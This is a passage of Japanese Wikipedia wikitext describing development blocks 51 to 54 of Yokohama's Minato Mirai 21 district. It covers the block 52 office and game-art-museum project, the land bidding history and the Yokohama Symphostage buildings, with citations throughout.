(新たなMICE施設およびホテルを整備する[[#18-25街区(みなとみらい駅方面)|20街区方面]]に向けて歩行者デッキ「キングモール橋<!-- {{small|(きょう)}}-->」を架橋し、2020年4月に供用開始<ref name="impress200127"/><ref name="city-yokohama200127"/>)
|
|-
|51街区
|colspan="2"|[[高島中央公園]]
(52街区方面と高島中央歩道橋で接続)
|2007年7月開園
|-
|rowspan="2"|52街区
|colspan="2"|大和ハウス工業などによるオフィスビル・ゲームアートミュージアムなどからなる複合開発<br />〈みなとみらい21中央地区52街区開発事業計画{{small|(仮称)}}〉<br />(北側半分が市有地〈約5,618m{{sup|2}}〉、南側半分が国有地〈約6,200m{{sup|2}}〉/敷地面積合計:約11,818m{{sup|2}})<ref name="city-yokohama-mm52-210625"/><ref name="hamarepo171227">[http://hamarepo.com/story.php?page_no=0&story_id=6467&from= みなとみらいレポート第2回・新高島駅周辺の「空き地」は何になる?] > [http://hamarepo.com/story.php?page_no=2&story_id=6467&from= 3ページ目:開発の時を待つ「未利用地」](はまれぽ.com 2017年12月27日)</ref><br />(設計:[[久米設計]]<!--に委託--><ref name="kensetsunews220118">[https://www.kensetsunews.com/archives/656018 11万平米開発、久米で設計/庭園は「信長の野望」モチーフ/DKMM52街区特定目的会社、光優](建設通信新聞Digital 2022年1月18日4面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20220117222359/https://www.kensetsunews.com/archives/656018 2022年1月18日時点のアーカイブ])</ref>、施工:清水建設<ref name="kensetsunews220628">[https://www.kensetsunews.com/archives/711394 中央52街区延べ11万平米開発/清水建設で23年1月着工/DKみなとみらい、光優](建設通信新聞Digital 2022年6月28日4面/Wayback Machineによる[https://web.archive.org/web/20220728160034/https://www.kensetsunews.com/archives/711394 2022年7月28日時点のアーカイブ])</ref>)<br />
当街区は[[国有地]]も含まれるため、「二段階[[一般競争入札]]」{{refnest|group="注"|開発の提案内容(企画提案書)を審査した上で、同審査を通過した提案者の間で価格競争入札を行う2段構えの公募を実施(2011年の時点で、国有地を含む土地では全国初の試み)<ref name="hamarepo171227"/><ref name="city-yokohama110224"/><ref name="kanaloco111012"/>。}}による横浜市と国([[財務省 (日本)|財務省]][[関東財務局]])の合同公募を実施している<ref name="hamarepo171227"/><ref name="city-yokohama110224">[http://www.city.yokohama.lg.jp/toshi/mm21/press/20110224koubo.html みなとみらい21地区における横浜市土地開発公社所有地と国有地の合同公募について 全国初の国有地入札手法の実施!]〈[https://web.archive.org/web/20171227235516/http://www.city.yokohama.lg.jp/toshi/mm21/press/20110224koubo.html アーカイブ]〉(横浜市都市整備局 平成23年 {{small|(2011年)}} 2月24日)</ref><ref name="kanaloco111012">[https://www.kanaloco.jp/member/node/132287 二段階一般競争入札、国有地売却全国初の導入へ/横浜](神奈川新聞{{small|〈カナロコ〉}} 2011年10月12日)</ref>{{refnest|group="注"|二段階一般競争入札はこれまでに以下の3回実施された。
* 2011年10月より、国有地では全国初の試みとなる二段階一般競争入札による公募を実施した<ref name="city-yokohama110224"/><ref name="kanaloco111012"/>が、結果は不調に終わっている<ref name="hamarepo171227"/><ref name="kanaloco121211">[https://www.kanaloco.jp/member/node/117128 MM21地区52街区の開発事業者を募集、横浜市と財務省/神奈川](神奈川新聞{{small|〈カナロコ〉}} 2012年12月11日)</ref>。
* 2012年12月より行われた公募では1件の企画提案があり2013年5月にも入札が予定されていた<ref name="kanaloco121211"/><ref>{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52.files/0001_20190930.pdf みなとみらい21地区52街区における横浜市土地開発公社所有地と国有地の合同公募を開始します。]〈[https://web.archive.org/web/20201025210035/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52.files/0001_20190930.pdf アーカイブ]〉}}(横浜市財政局・都市整備局 平成24年 {{small|(2012年)}} 12月11日)</ref>が、企画提案者が取り消した(参加辞退した)ため実施されなかった<ref name="hamarepo171227"/><ref>[http://www.city.yokohama.lg.jp/zaisei/toti/hoyutochi/mm21/mm52.html 52街区について(平成24年12月公示):みなとみらい21地区52街区の横浜市土地開発公社所有地と国有地の合同公募について]〈[https://archive.vn/TKStq アーカイブ]<!--https://web.archive.org/web/20201124135018/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52.html-->〉(横浜市財政局、''2020年10月25日閲覧'')</ref><ref>[http://www.kentsu.co.jp/webnews/html_top/130522400026.html みなとみらい21中央地区52街区 売却されず](建通新聞{{small|〈電子版〉}} 2013年5月23日/神奈川)</ref>。
* 当初は2019年度から2020年度にかけて公募と二段階一般競争入札が予定されていた<ref>{{PDFlink|[https://www.city.yokohama.lg.jp/shikai/kiroku/katsudo/r1/seisouzai2019R1.files/0025_20190530.pdf みなとみらい21中央地区 52 街区の開発事業者公募の進め方について]〈[https://web.archive.org/web/20190801115717/https://www.city.yokohama.lg.jp/shikai/kiroku/katsudo/r1/seisouzai2019R1.files/0025_20190530.pdf アーカイブ]〉}}(横浜市財政局/政策・総務・財政委員会配付資料 令和元年 {{small|(2019年)}} 5月28日)</ref>が、約1年遅れて2020年11月<!--6日-->から2021年3月<!--3日-->にかけて事業提案(企画提案書)を受け付け、二度の審査後<!--1次審査通知:同年4月上旬予定、企画提案書のプレゼンテーションを実施したのち2次審査通知:同年6月上旬予定-->、同年<!--2021年-->6月<!--22日-->に審査通過者(2者)による競争入札を実施<ref>[https://www.ymm21.jp/news/offering/2162_2.php みなとみらい21中央地区52街区 開発事業者募集情報]〈[https://web.archive.org/web/20201118220852/https://www.ymm21.jp/news/offering/2162_2.php アーカイブ]〉(みなとみらいエリアマネジメント公式サイト ''2020年11月24日閲覧'')</ref><ref>[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52_2020.html 52街区について(令和2年11月)<!--:みなとみらい21中央地区52街区における開発事業者公募の開始について-->]〈[https://web.archive.org/web/20201124134753/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52_2020.html アーカイブ]〉:{{PDF|[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52_2020.files/0025_20201105.pdf みなとみらい21中央地区52街区における 開発事業者公募の開始について]〈[https://web.archive.org/web/20201106082532/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm52_2020.files/0025_20201105.pdf アーカイブ]〉}}(横浜市財政局・都市整備局 令和2年 {{small|(2020年)}} 11月6日、''2020年11月24日閲覧'')</ref><ref name="kanzai-mm52-201106">[http://kantou.mof.go.jp/kanzai/mokuji_00001.htm 有財産(国有地):現在公示中の一般競争入札物件(売却)]〈[https://web.archive.org/web/20201106001355/http://kantou.mof.go.jp/kanzai/mokuji_00001.htm アーカイブ]〉:{{PDF|[http://kantou.mof.go.jp/content/000277092.pdf 国有財産の一般競争入札案内書(みなとみらい21中央地区52街区の一部)]〈[https://web.archive.org/web/20201124141318/http://kantou.mof.go.jp/content/000277092.pdf アーカイブ]〉}}(財務省関東財務局 令和2年 {{small|(2020年)}} 11月6日公示、''2020年11月24日閲覧'')</ref><ref>[https://www.nikkei.com/article/DGXMZO65915980W0A101C2L82000/ 横浜市、みなとみらい52街区で事業者を公募](日本経済新聞 2020年11月6日)</ref><ref>[https://www.kanaloco.jp/news/economy/article-294609.html 横浜・MM52街区、3度目の公募 新高島駅そば](神奈川新聞{{small|〈カナロコ〉}} 2020年11月7日)</ref><!--<ref>[http://kantou.mof.go.jp/kanzai/pagekthp035000140.html 国有財産(国有地):二段階一般競争入札予定物件(売却)](財務省関東財務局、''2020年10月25日閲覧'')</ref>-->、後述の開発事業予定者が決まった。}}。
2021年6月22日、審査を通過した2者で競争入札が行われ、[[大和ハウス工業]]と[[光優]]が開発事業予定者に選ばれた<ref name="city-yokohama-mm52-210625">[https://www.ymm21.jp/news/offering/52.php みなとみらい21地区52街区の開発事業予定者が決定](みなとみらいエリアマネジメント):{{PDF|[https://www.ymm21.jp/news/upload/98fdd18035e1cca0794595c6fcfcf0ef9aabf2bf.pdf みなとみらい21中央地区52街区の事業予定者を決定しました]〈[https://web.archive.org/web/20210625062513/https://www.ymm21.jp/news/upload/98fdd18035e1cca0794595c6fcfcf0ef9aabf2bf.pdf アーカイブ]〉}}(横浜市財政局・都市整備局 令和3年 {{small|(2021年)}} 6月25日)/{{PDF|[https://www.ymm21.jp/news/upload/9a7d7bc6f33418d0ad0c02ea4d414a089e03eea2.pdf<!--国有地契約締結前:https://www.ymm21.jp/news/upload/7ff17cf5aac2d0ed83756bf5eb9bb1c871086da1.pdf--> 二段階一般競争入札による入札結果一覧表(令和3年6月22日開札)]〈[https://web.archive.org/web/20210811124807/https://www.ymm21.jp/news/upload/9a7d7bc6f33418d0ad0c02ea4d414a089e03eea2.pdf アーカイブ]〉}}(財務省関東財務局 令和3年 {{small|(2021年)}} 6月25日公表、同年7月30日契約状況更新)</ref>。なお、光優は[[コーエーテクモホールディングス]](傘下の[[コーエーテクモゲームス]]は47街区のKTビル内に本社を移転)の関連会社<!--(同社の親会社、光優ホールディングスの不動産などを手掛ける傘下企業)-->である<ref name="nikkei210625">[https://www.nikkei.com/article/DGXZQOCC253KM0V20C21A6000000/ 横浜・みなとみらいにゲーム博物館 大和ハウスなど](日本経済新聞 2021年6月25日)</ref><ref name="kanaloco210625">[https://www.kanaloco.jp/news/economy/article-552808.html 横浜・新高島駅近くに超高層オフィスビル 26年完成見込み](神奈川新聞{{small|〈カナロコ〉}} 2021年6月25日)</ref>。<br />
<!--提案内容:-->両社([[特定目的会社|SPC]]「DKみなとみらい52街区特定目的会社」を組成)によりオフィス、[[イノベーション]]プラットフォーム、商業、[[コンピュータゲーム|ゲーム]]アートミュージアムなどからなる複合開発(延床面積110,142m{{sup|2}})が計画されている<ref name="city-yokohama-mm52-210625"/><ref name="nikkei210625"/><ref name="kanaloco210625"/><ref name="decn210628">[https://www.decn.co.jp/?p=121051 横浜市/MM21中央地区52街区開発/事業予定者に大和ハウス工業と光優](日刊建設工業新聞 2021年6月28日5面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20210627210311/https://www.decn.co.jp/?p=121051 2021年6月28日時点のアーカイブ])</ref><ref name="kensetsunews210628">[https://www.kensetsunews.com/archives/583675 23年1月着工目指す/MM52街区に11万平米複合施設/大和ハウス、光優](建設通信新聞Digital 2021年6月28日5面〈関東・甲信〉/Wayback Machineによる[https://web.archive.org/web/20210627233909/https://www.kensetsunews.com/archives/583675 2021年6月28日時点のアーカイブ])</ref>。<br />当計画は[[国土交通大臣]]の[[民間都市再生事業計画]]に認定されている<ref name="mlit220616">[https://www.mlit.go.jp/report/press/toshi05_hh_000385.html みなとみらいに世界初のゲームアートミュージアムを整備 ~みなとみらい21中央地区52街区開発事業計画を国土交通大臣が認定~]/{{PDF|[https://www.mlit.go.jp/report/press/content/001486257.pdf 詳細資料]〈[https://web.archive.org/web/20220618190909/https://www.mlit.go.jp/report/press/content/001486257.pdf アーカイブ]〉}}(国土交通省都市局まちづくり推進課 令和4年 {{small|(2022年)}} 6月16日)</ref><ref>[https://www.re-port.net/article/news/0000069428/ みなとみらいの再開発を民間都市再生事業に認定]([[不動産流通研究所|R.E.port]] 2022年6月17日)</ref>。<br />
(土地売買契約:国有地は2021年7月21日に締結<!--当初予定:同年7月22日までに締結-->、市有地は2022年6月22日までに締結予定<ref name="city-yokohama-mm52-210625"/>)
; <当開発の概要><ref name="city-yokohama-mm52-210625"/><ref name="kensetsunews210628"/><ref>[https://1201.yokohama/minatomirai-52gaiku/ みなとみらい52街区に超高層オフィスビル&ゲームアートミュージアムが2026年開業予定!大和ハウス工業などが開発](個人的横浜 2021年6月26日)</ref>
: '''市有地側'''(北側)
:* 高層棟:複合オフィスビル(地上29<!--28-->階・地下1階<!--・塔屋3層-->/高さ179.8<!--171.35-->m、両社が組成するSPCが区分所有)<ref name="y-toshiseibi-bitaisaku220114">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks066.html 第66回横浜市都市美対策審議会景観審査部会議事録](横浜市都市整備局 令和4年 {{small|(2022年)}} 1月14日開催):{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks066.files/giji1ks66.pdf 資料]〈[https://web.archive.org/web/20220313025957/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks066.files/giji1ks66.pdf アーカイブ]〉}}/{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks066.files/66gijirokuks66.pdf 議事録]〈[https://web.archive.org/web/20220313025914/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks066.files/66gijirokuks66.pdf アーカイブ]〉}}</ref><ref name="building-pc220311">[http://building-pc.cocolog-nifty.com/helicopter/2022/03/post-9c6c8a.html 地上29階、高さ約180mの「みなとみらい21中央地区52街区」 横浜市都市美対策審議会景観審査部会議事録 多くの完成イメージを公開!](東京・大阪 都心上空ヘリコプター遊覧飛行 2022年3月11日)</ref>
:** 4-29階:オフィス
:*** [[研究開発]](R&D)部門や[[横浜国立大学]]のサテライトスタジオを誘致予定。
:** 2・3階:イノベーションプラットフォーム等
:*** [[会議室]]・[[シェアオフィス]]・[[コワーキングスペース]]・コミュニケーションカフェなど<ref name="y-kankyo-assessment-hairyosho211224">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/kankyohozen/hozentorikumi/assessment/shinaijigyou/101-mokuji/101_hairyosho.html 101.みなとみらい21中央地区52街区開発事業計画 計画段階配慮書]:{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/kankyohozen/hozentorikumi/assessment/shinaijigyou/101-mokuji/101_hairyosho.files/01-1.pdf 事業計画の概要]〈[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/kankyohozen/hozentorikumi/assessment/shinaijigyou/101-mokuji/101_hairyosho.files/01-1.pdf アーカイブ]〉}}(横浜市環境創造局 2021年12月24日公開)</ref>。
:** 1階:店舗・駐車場
: '''国有地側'''(南側、地下に[[横浜高速鉄道みなとみらい線|みなとみらい線]]のトンネルが通る<!--これにより高層建築物の建設は不可能<ref name="kanaloco210625"/>-->)
:* 低層棟(地上3階・地下1階/高さ約31m、光優が区分所有)<ref name="y-kankyo-assessment-hairyosho211224"/><ref name="bluestyle211225">[https://bluestyle.livedoor.biz/archives/52519296.html 地上29階、高さ179m「みなとみらい21中央地区52街区開発事業計画」の計画段階配慮書が公開!](超高層マンション・超高層ビル 2021年12月25日)</ref>
:** 1-3階:ゲームアートミュージアム・店舗
:*** [[螺旋|らせん]]状の建物は[[渦巻]]や[[巻貝]]、[[デオキシリボ核酸|DNA]]をモチーフとしており、[[生命]]の源「LIFE」を表現<ref name="kensetsunews220118"/>。
:*** 展示コンテンツはコーエーテクモゲームスの『[[信長の野望シリーズ]]』や『[[三國志シリーズ]]』などを検討<ref name="kensetsunews220118"/><ref name="y-toshiseibi-bitaisaku220114"/>。
:* 低層棟の周辺には木々などの植栽を施したアートガーデン(約3,000m{{sup|2}}の広場で、樹木や小川などを配置)を整備<!--国有地の半分以上(南側の大部分)を充てた大規模な広場--><ref name="kensetsunews220118"/><ref name="y-kankyo-assessment-hairyosho211224"/><ref name="bluestyle211225"/>
:** 『信長の野望シリーズ』に登場した[[庭園]]のモチーフも一部に取り入れ、[[グラフィックデザイナー]]・[[永井一正]]の立体作品展示も計画<ref name="kensetsunews220118"/>。
:** 外周路やポケットパークはオープンスペースで誰でも入ることが可能であるが、その内側の大部分にあたるアートガーデンに入る際はアートミュージアムの入場券が通常時必要となる見込み<ref name="y-toshiseibi-bitaisaku220114"/>。
: '''地下'''(両棟の地下含む)
:* 地下1階:[[みなとみらい21熱供給]]の[[地域熱供給|地域冷暖房]]システム第3プラント(光優が区分所有)<ref name="y-kankyo-assessment-hairyosho211224"/><ref name="bluestyle211225"/><ref>[https://xtech.nikkei.com/atcl/nxt/column/18/00110/00310/ 世界初のゲームアートミュージアム、みなとみらいに超高層複合ビル](日経クロステック 2022年7月13日)</ref><ref group="注">地区全体におけるピーク負荷の約20%を賄うことができる[[冷凍能力]]20,000 RTに対応(「[[みなとみらい21熱供給]]」も参照)。</ref>
<!--
;<当開発の特徴>
*
-->
(52街区内に整備されるデッキ<!--人工地盤-->は、高島中央公園〜52街区間に設置されている高島中央歩道橋と接続する方針〈キング軸の一部〉<ref name="kanzai-mm52-201106"/>)<br />
(また同デッキ<!--人工地盤-->は、53・54街区方面のデッキや60・61街区方面に今後設置される[[人道橋|歩道橋]]とも接続する方針<ref name="kanzai-mm52-201106"/>)
|2023年1月<!--本体工事-->着工予定<ref name="city-yokohama-mm52-210625"/><ref name="kensetsunews220628"/><ref name="mlit220616"/><br />2026年6月<!--7月<ref name="y-toshiseibi-bitaisaku220114"/><ref name="building-pc220311"/>-->竣工予定<ref name="kensetsunews220628"/><ref name="mlit220616"/><br />(翌7月までに供用開始予定<ref name="city-yokohama-mm52-210625"/>)<!--<br />'''高さ制限300m'''<ref name="mm21-chikukeikaku"/><br />所有:横浜市<br />(国有地もあり)-->
|-
|colspan="2"|「キング軸」歩行者専用通路(52街区内に整備予定のデッキ<!--地上2階レベルの人工地盤-->、53・54街区方面のデッキや高島中央歩道橋とも接続する方針)
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|-
|53街区
|colspan="2"|[[横浜シンフォステージ]] (YOKOHAMA SYMPHOSTAGE)<ref name="obayashi220829">[https://www.obayashi.co.jp/news/detail/news20220829_2.html みなとみらい21中央地区53街区開発事業の街区名称を 『横浜シンフォステージ(YOKOHAMA SYMPHOSTAGE)』 に決定](株式会社大林組:プレスリリース 2022年8月29日)</ref><ref name="impress220829">[https://www.watch.impress.co.jp/docs/news/1435496.html みなとみらいの大規模開発「横浜シンフォステージ」に名称決定](Impress Watch, 2022年8月29日)</ref><br />〈みなとみらい21中央地区53街区開発計画{{small|(仮称)}}〉<br />(敷地面積:約20,620m{{sup|2}}、下記開発全体(2棟)延床面積:約182,825m{{sup|2}})
[[大林組]](代表企業)、[[京浜急行電鉄]]、[[日鉄興和不動産]](旧:新日鉄興和不動産)、[[ヤマハ]]の4社で構成される企業グループ<!--([[共同企業体]])-->によるオフィス・ホテル・商業施設・にぎわい施設、[[オープンイノベーション]]スペースなど複合開発<ref name="city-yokohama-mm53-190328">[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm53.html 53街区について]:{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm53.files/0019_20190327.pdf みなとみらい21中央地区53街区の事業予定者を決定しました]〈[https://web.archive.org/web/20190329002517/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm53.files/0019_20190327.pdf アーカイブ]〉}}(横浜市財政局 平成31年 {{small|(2019年)}} 3月28日)</ref><ref name="obayashi190328">[https://www.obayashi.co.jp/news/detail/news20190328_1.html 「みなとみらい21中央地区53街区」の事業予定者に選定されました ~延べ面積約18万㎡の大規模複合ビルを開発~](株式会社大林組、京浜急行電鉄株式会社、新日鉄興和不動産株式会社、ヤマハ株式会社 2019年3月28日/[https://prtimes.jp/main/html/rd/p/000000065.000001379.html PR TIMES版])</ref><ref name="nikkei190328">[https://www.nikkei.com/article/DGXMZO43039160Y9A320C1L82000/ 横浜・みなとみらいの新高島駅前に大型複合ビル](日本経済新聞 2019年3月28日)</ref><ref name="obayashi210415">[https://www.obayashi.co.jp/news/detail/news20210415_3.html 「みなとみらい21中央地区53街区」が着工 ~みなとみらいを象徴する新たな拠点として2024年3月末に誕生予定~](株式会社大林組、京浜急行電鉄株式会社、新日鉄興和不動産株式会社、ヤマハ株式会社 2021年4月15日/[https://prtimes.jp/main/html/rd/p/000000187.000001379.html PR TIMES版])</ref><ref name="ryutsuu210416">[https://www.ryutsuu.biz/store/n041613.html みなとみらい21/中央地区53街区にオフィス・商業・ホテルの大型複合施設](流通ニュース 2021年4月16日)</ref>。2022年8月29日、当開発を進めている街区<!--全体の-->名称が「横浜シンフォステージ (YOKOHAMA SYMPHOSTAGE)」と発表された<ref name="obayashi220829"/><ref name="impress220829"/>。
; <当開発の概要><ref name="city-yokohama-mm53-190328"/><ref name="obayashi190328"/>
[[#ペデストリアン軸(歩行者動線)|歩行者動線の「グランモール軸」と「キング軸」]]が交差する結節点となっている当街区に以下の2棟を建設<ref>[http://building-pc.cocolog-nifty.com/helicopter/2019/12/post-75d5c4.html 横浜みなとみらい21地区 地上30階、高さ約153mの超高層複合ビル「みなとみらい21中央地区53街区」の詳細!](東京・大阪 都心上空ヘリコプター遊覧飛行 2019年12月26日)</ref>。
: '''WEST棟'''(地上30階<ref name="city-yokohama-mm53-200310"/><!--2019年3月公表当初は28階-->・塔屋2階/高さ約158m<ref name="obayashi210415"/><ref name="ryutsuu210416"/><!--最高部高さ160.9m〈軒高155.3m〉:2020年3月に縦覧が行われた「みなとみらい21中央地区53街区開発事業に係る計画段階配慮書」より、2019年3月公表当初は153m-->)
:* 26-30階<!--当初は25-28階-->:[[京急イーエックスイン|京急EXホテル]](宿泊特化型上位グレード/客室計150室/[[大浴場]]設置)<ref name="obayashi210415"/>
:* 25階:共用スペース<ref name="city-yokohama-mm53-200310"/>
:* 5-24階:オフィスエリア
:: (9-24階:賃貸オフィス<ref name="city-yokohama-mm53-190328"/>/5-8階<!--入居階数は2019年3月時点の情報、その後に変更されている可能性もある-->:ヤマハグループが自社オフィスとして使用<ref name="city-yokohama-mm53-190328"/>〈首都圏に点在する拠点を集約<ref name="obayashi210415"/>〉)
:* 4階:共用スペース
:* 1-3階(低層部商業エリア)
:: 店舗の他に以下の施設も設ける<ref name="city-yokohama-mm53-200310"/>。
::* 3階:にぎわい施設(カンファレンス・小ホールなど<ref name="nikkei190328"/>)
::* 2階:オープン[[アトリウム]]・にぎわい施設
::* 1階:オープンアトリウム
::: (低層部にはヤマハのブランド発信拠点の設置も計画<ref name="obayashi210415"/><ref name="ryutsuu210416"/>)
: '''EAST棟'''(地上16階<ref name="city-yokohama-mm53-200310"/><!--2019年3月公表当初は15階-->・塔屋2階/高さ約90m<ref name="obayashi210415"/><ref name="ryutsuu210416"/><!--高さ86.1m:2020年3月に縦覧が行われた「みなとみらい21中央地区53街区開発事業に係る計画段階配慮書」より、同配慮書の施設断面図では地上15階建てとなっている、2019年3月公表当初は85.5m-->)
:* 16階:共用スペース<ref name="city-yokohama-mm53-200310"/>
:* 4-15階:オフィスエリア<ref name="city-yokohama-mm53-200310"/><!--大林組などによる2022年8月29日のプレスリリース<ref name="obayashi220829"/>では5-15階とある-->
:: (自社利用希望事業者による1棟利用を想定<ref>[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks54.html 第54回横浜市都市美対策審議会景観審査部会議事録](横浜市都市整備局 令和元年 {{small|(2019年)}} 10月1日開催):{{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks54.files/giji2ks54.pdf 資料2「みなとみらい21中央地区53街区開発事業計画:景観形成の考え方」]〈[https://web.archive.org/web/20220415212408/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks54.files/giji2ks54.pdf アーカイブ]〉}}の「03. 計画概要」</ref>)
:* 4階:共用スペース<ref name="city-yokohama-mm53-200310"/>
:* 1-3階(低層部<!--商業・オープンイノベーション (OI)-->エリア)
:: 店舗の他に以下の施設も設ける<ref name="city-yokohama-mm53-200310"/>。
::* 3階:オフィス
<!--::* 2階:店舗のみ-->
::* 1階:オープンイノベーションスペース<!--当初3階に設けるとしていた<ref name="nikkei190328"/>が1階に変更となった-->・オープンアトリウム<ref name="obayashi210415"/><ref name="ryutsuu210416"/>
: ※この他、両棟とも1階に駐車場を設置
;<当開発の特徴>
* 当開発全体での総投資額は約1100億円規模となり、就業者数は1万2000人程を見込んでいる<ref name="nikkei190328"/>。
* 事業主体企業グループの各企業が中心となって、オフィス・ホテル・商業施設などを運営<ref name="city-yokohama-mm53-190328"/>。
* 周囲では研究開発 (R&D) 拠点などの集積が進んでいることから、オープンイノベーションを誘発するハブ機能スペースを設置<ref name="city-yokohama-mm53-190328"/><ref name="kensetsunews190329">[https://www.kensetsunews.com/archives/303191 大林組グループに決まる/横浜市のMM53街区開発事業者](建設通信新聞Digital 2019年3月29日4面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20190330154137/https://www.kensetsunews.com/archives/303191 2019年3月30日時点のアーカイブ])</ref>。
:(WEST棟に自社オフィス拠点を設けるヤマハもR&D機能の設置を計画<ref name="kanaloco190704">[https://www.kanaloco.jp/news/economy/entry-179383.html ヤマハ、みなとみらいに開発機能 進出予定オフィスに検討](神奈川新聞{{small|〈カナロコ〉}} 2019年7月4日)</ref><ref name="obayashi210415"/>)
* [[帰宅困難者]]受け入れスペースを確保する<ref name="city-yokohama-mm53-190328"/>ほか、[[CASBEE]]横浜のSランク認証や建築物省エネルギー性能表示制度 (BELS) の評価において建築物全体は最高ランクの星5つ、オフィス部分は当地区内初の[[ゼロ・エネルギー・ビル|ZEB]] Ready認証を取得している<ref name="obayashi220829"/>。また、[[感染症]]対策のグローバル評価基準として「WELL Health Safety Rating」の取得も目指している<ref name="obayashi210415"/>。
* 当地区に進出している周辺企業との連携や音楽による街づくりプロジェクトなどにより地域コミュニティを形成する<ref name="city-yokohama-mm53-190328"/><ref name="obayashi210415"/>。
* 上記2棟の周辺に整備するコモンスペース(広場)にて、当企業グループのノウハウを活かした様々なイベントも開催していく<ref name="obayashi190328"/>。<br />なお、広場は以下の4種を整備する<ref>[https://www.kensetsunews.com/web-kan/528304 【歩いて楽しい】みなとみらい21地区53街区開発 高層ビルの間に新たな空間を整備へ](建設通信新聞Digital{{small|〈公式ブログ〉}} 2021年1月10日)</ref>。
** グランモールプラザ:ガラス大屋根やステージを設置し、音楽イベントなども開催
** ゲートプラザ:芝生広場や大階段を設置し、展示・体験イベントなども開催
** キングプラザ:休憩できる空間とし、周辺店舗によるイベントやマルシェなども開催
** グランモールストリート:街路状広場として上記2棟間に整備
* 横浜駅方面より隣接する54街区のオフィスビル「横浜グランゲート」まで[[ペデストリアンデッキ]]で接続しているが、このデッキを当開発エリアを介してグランモール軸([[グランモール公園]]方面の「すずかけ通り歩道橋」)までさらに延伸、一体的に整備する<ref name="obayashi190328"/>(この他、デッキは東側の52街区開発地とも接続する方針)。
* 当計画は国土交通大臣の民間都市再生事業計画に認定されている<ref name="city-yokohama-mm53-200310">[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/031053gaikupress.html みなとみらい21地区53街区の開発事業が、国土交通大臣の民間都市再生事業計画の認定を受けました]/{{PDF|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/031053gaikupress.files/0001_20200309.pdf 詳細資料{{small|〈記者発表資料〉}}]〈[https://web.archive.org/web/20220619042006/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/toshi/2019/031053gaikupress.files/0001_20200309.pdf アーカイブ]〉}}(横浜市都市整備局 令和2年 {{small|(2020年)}} 3月10日)</ref>。
{{small|(過去:1990年代前半<!--1991年10月オープン-->にはこの辺り<!--52〜54街区辺り-->に[[ゴルフ練習場]]<!--打ちっぱなし-->「横浜ゴルフドーム」があった<ref>[https://imakana.kanaloco.jp/article/entry-152777.html 平成に誕生した駅④ スピード感をイメージ〈新高島駅 みなとみらい線〉]<!--アーカイブ:https://web.archive.org/web/20210211190805/https://imakana.kanaloco.jp/article/entry-152777.html-->(神奈川新聞「イマカナ」 2019年2月23日同新聞掲載)</ref><ref>[http://www.uda.co.jp/works/w1_01.html WORKS:YOKOHAMA GOLF DOME Yokohama 1991]<!--アーカイブ:https://web.archive.org/web/20180902175210/http://uda.co.jp/works/w1_01.html-->(株式会社アーバンデザイナーズアソシエイティッド〈UDA〉)</ref>)}}<br />
{{small|(過去:総合エンタテイメント施設「[[GENTO YOKOHAMA]]」、2015年1月25日閉店<ref name="hamakei141102"/><ref>[http://www.kentsu.co.jp/webnews/html_top/150106400022.html MM53街区の施設が閉鎖 跡地は市が公募](建通新聞{{small|〈電子版〉}} 2015年1月6日/神奈川)</ref>)}}
|2021年4月着工<ref name="obayashi210415"/><ref name="ryutsuu210416"/><br />2024年3月竣工予定<ref name="obayashi210415"/><ref name="ryutsuu210416"/><br />{{refnest|group="注"|当初:2020年12月着工予定、2023年11月竣工予定<ref name="city-yokohama-mm53-190328"/>。}}<!--<br />'''高さ制限300m'''<ref name="mm21-chikukeikaku"/><br />所有:横浜市<br />-->
|-
|54街区
|colspan="2"|[[横浜グランゲート]] (YOKOHAMA GRANGATE)<!--(MM21-54街区プロジェクト{{small|(仮称)}})--><ref name="city-yokohama160328"/><ref name="shimizu-grangate"/><ref name="shimizu160328"/><br />
